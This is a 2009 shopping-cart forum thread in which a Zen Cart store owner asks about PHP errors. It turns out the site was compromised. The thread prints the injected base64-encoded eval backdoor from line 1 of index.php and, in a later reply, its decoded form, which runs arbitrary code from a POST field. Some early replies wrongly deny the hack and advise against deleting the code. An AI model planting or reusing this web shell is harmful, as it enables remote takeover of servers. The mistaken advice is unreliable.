Shopping Cart Forum

Go Back   eShop Forums - eCommerce Help Forum for Shopping Cart Owners. > Shopping Cart Software > Zen Cart & osCommerce
Register Blogs FAQ Members List Calendar Search Today's Posts Mark Forums Read
Zen Cart & osCommerce Tips, advice and help on how to use the most popular free E-commerce shopping carts available.

GoDaddy.com Hosting & Servers 468x60
Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 01-07-2009, 01:53 PM
jtaylor jtaylor is offline
Member
 
Join Date: Nov 2007
Location: Melbourne, AUST
Posts: 41
Thanks: 4
Thanked 0 Times in 0 Posts
Exclamation Please can someone help

Hello all,
I have a problem with my ZenCart that has thrown me completey. On the stores main page (www.emplore.com.au/buy/store) we get this error:

Notice: Undefined index: testorrr in /clientdata/clients/e/m/emplore.com.au/www/buy/store/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1

Warning: session_start() [
function.session-start]: Cannot send session cookie - headers already sent by (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/includes/functions/sessions.php on line 111

Warning: session_start() [
function.session-start]: Cannot send session cache limiter - headers already sent (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/includes/functions/sessions.php on line 111

Warning: Cannot modify header information - headers already sent by (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/includes/init_includes/init_templates.php on line 78

Then in the admin page (www.emplore.com.au/buy/store/admin) we get this:

Notice: Undefined index: testorrr in /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1

Warning: session_start() [
function.session-start]: Cannot send session cookie - headers already sent by (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/includes/functions/sessions.php on line 111

Warning: session_start() [
function.session-start]: Cannot send session cache limiter - headers already sent (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/includes/functions/sessions.php on line 111

Warning: Cannot modify header information - headers already sent by (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/includes/init_includes/init_templates.php on line 36

Warning: Cannot modify header information - headers already sent by (output started at /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code:1) in /clientdata/clients/e/m/emplore.com.au/www/buy/store/admin/includes/functions/general.php on line 34


Can anyone shed some light on this? I have NO IDEA what any of it means, its like a different language to me!

Thank you all for your help.
__________________

www.emplore.com.au
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #2 (permalink)  
Old 02-07-2009, 01:26 AM
jtaylor jtaylor is offline
Member
 
Join Date: Nov 2007
Location: Melbourne, AUST
Posts: 41
Thanks: 4
Thanked 0 Times in 0 Posts
Default

Have I been hacked??
__________________

www.emplore.com.au
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 02-07-2009, 05:45 AM
Topshopper Topshopper is offline
E-Commerce Provider
 
Join Date: Jun 2009
Location: UK
Posts: 82
Thanks: 2
Thanked 1 Time in 1 Post
Default Probably not hacked

I think the problem lies in line 1 of your '/buy/store/index.php' script.
The restof the errors come from that one.

What is line 1 of that script.

It seems to be related to 'teststorrr' - should that be 'teststore' or something?

Mike
__________________
Mike

TopShopper Shopping Carts
http://www.topshopper.net
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 02-07-2009, 06:19 AM
jtaylor jtaylor is offline
Member
 
Join Date: Nov 2007
Location: Melbourne, AUST
Posts: 41
Thanks: 4
Thanked 0 Times in 0 Posts
Default

thankyou.
um, line 1 is:

<?php /*Packed BLOB icon data. Corruption may result script execution errors. Don't touch it unless you know what you are doing.*/ eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWF poYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RoVjFsdlNrWTVTRkpX VW1KS00xSnNZek5TZG1OdVNubEtNVEE1VUZOamVFcDViRGRKUj FacVlVYzRaMG95YTJkaVJ6a3lXbE5DTldJelZXNVBlVUpzWlVk c01FOTVRamxKUVhCd1dtbG9jR016VG14a1EyZHJXREZDVUZVeF VtSktNbmgyWkcxVmJsaFRhM0JsZDNCc1pHMUdjMHREVW1aVlJU bFVWa1p6Ym1KSE9USmFVMlJrUzFSelMxcFlhSEJrUkhOTFpsRT lQU2NwS1RzPScpKTs='));?><?php
__________________

www.emplore.com.au
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 02-07-2009, 06:26 AM
Topshopper Topshopper is offline
E-Commerce Provider
 
Join Date: Jun 2009
Location: UK
Posts: 82
Thanks: 2
Thanked 1 Time in 1 Post
Default Need more info

The error is in this bit - where did that come from?

'ZXZhbChiYXNlNjRfZGVjb2RlKCdaWF poYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RoVjFsdlNrWTVTRkpX VW1KS00xSnNZek5TZG1OdVNubEtNVEE1VUZOamVFcDViRGRKUj FacVlVYzRaMG95YTJkaVJ6a3lXbE5DTldJelZXNVBlVUpzWlVk c01FOTVRamxKUVhCd1dtbG9jR016VG14a1EyZHJXREZDVUZVeF VtSktNbmgyWkcxVmJsaFRhM0JsZDNCc1pHMUdjMHREVW1aVlJU bFVWa1p6Ym1KSE9USmFVMlJrUzFSelMxcFlhSEJrUkhOTFpsRT lQU2NwS1RzPScpKTs='

Did you have to insert this yourself?
__________________
Mike

TopShopper Shopping Carts
http://www.topshopper.net
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #6 (permalink)  
Old 02-07-2009, 06:34 AM
jtaylor jtaylor is offline
Member
 
Join Date: Nov 2007
Location: Melbourne, AUST
Posts: 41
Thanks: 4
Thanked 0 Times in 0 Posts
Default

i dont thnk i would have put it in - i dont go into those files...
do you think if i delete will it work again?
__________________

www.emplore.com.au
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #7 (permalink)  
Old 02-07-2009, 06:46 AM
Topshopper Topshopper is offline
E-Commerce Provider
 
Join Date: Jun 2009
Location: UK
Posts: 82
Thanks: 2
Thanked 1 Time in 1 Post
Default Don't Delete

Hi

If you didn't insert this yourself then don't delete it.

If you put "zen cart Undefined index:" into google you get hundreds of references so you are not the only one with this problem.

If you Google "zen cart Undefined index: testorrr" you get three - one being your problem.

This is a Zen Cart problem for them to fix I think.

Regards
__________________
Mike

TopShopper Shopping Carts
http://www.topshopper.net
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #8 (permalink)  
Old 03-07-2009, 02:26 PM
ghshopper ghshopper is offline
Junior Member
 
Join Date: Jul 2009
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Default

Yes, you have been hacked.

ZenCart have announced a security exploit that allows files to be written to, and run on, your server. See
http://www.zen-cart.com/forum/showthread.php?t=130161

The exploit also writes records to the record_company table, and you can see the names of files that have been written in there. One of them is a script to insert a piece of code into other files which will produce the error you are seeing.

You will need to re-install from backup, as probably many of your files will have been altered. However, it is safe to delete the line 1 quoted above (leave <?php in place). It is just base 64 encoded code for

if(\$_GET['testorrr']=='1'){ echo 'i love you'; exit; }
if(isset(\$_POST['love'])){
eval(\$_POST['love']);
exit;

Last edited by ghshopper; 03-07-2009 at 02:33 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #9 (permalink)  
Old 04-07-2009, 12:51 AM
jtaylor jtaylor is offline
Member
 
Join Date: Nov 2007
Location: Melbourne, AUST
Posts: 41
Thanks: 4
Thanked 0 Times in 0 Posts
Default

thanks...
when i reinstall, will all our customers details be lost? i didn't do a backup... yes i know...!
ta.
__________________

www.emplore.com.au
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #10 (permalink)  
Old 04-07-2009, 05:03 PM
ghshopper ghshopper is offline
Junior Member
 
Join Date: Jul 2009
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Default

It's the server files you need to restore rather than the database, unless you have got other hacks as well.

But you need to close the exploit first (see Zen link above), otherwise it will all just happen again. There are instructions there for recovering from hacks.

Are you saying you have made all the mods to Zen directly on the server, and you don't have a copy? In that case, you are in trouble because I think you will have to re-install and do your site config all over again.

Always create your site locally on your PC and then upload to the server.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #11 (permalink)  
Old 04-07-2009, 05:12 PM
dezina's Avatar
dezina dezina is offline
http://dezina.com
 
Join Date: Sep 2007
Location: England
Posts: 630
Blog Entries: 6
Thanks: 14
Thanked 85 Times in 82 Posts
Default

Quote:
i didn't do a backup... yes i know...!
Check with your webhost...most decent ones do daily or weekly
or monthly backups..
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply

Bookmarks


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Google
Home - Top

Edible Graphics, Affordable E-Commerce, Web Shops & Custom Form Scripts
Click here for domain name registration and web hosting
tech news, product reviews, the latest home and business technology, the latest in digital imaging


Content Relevant URLs by vBSEO 3.0.0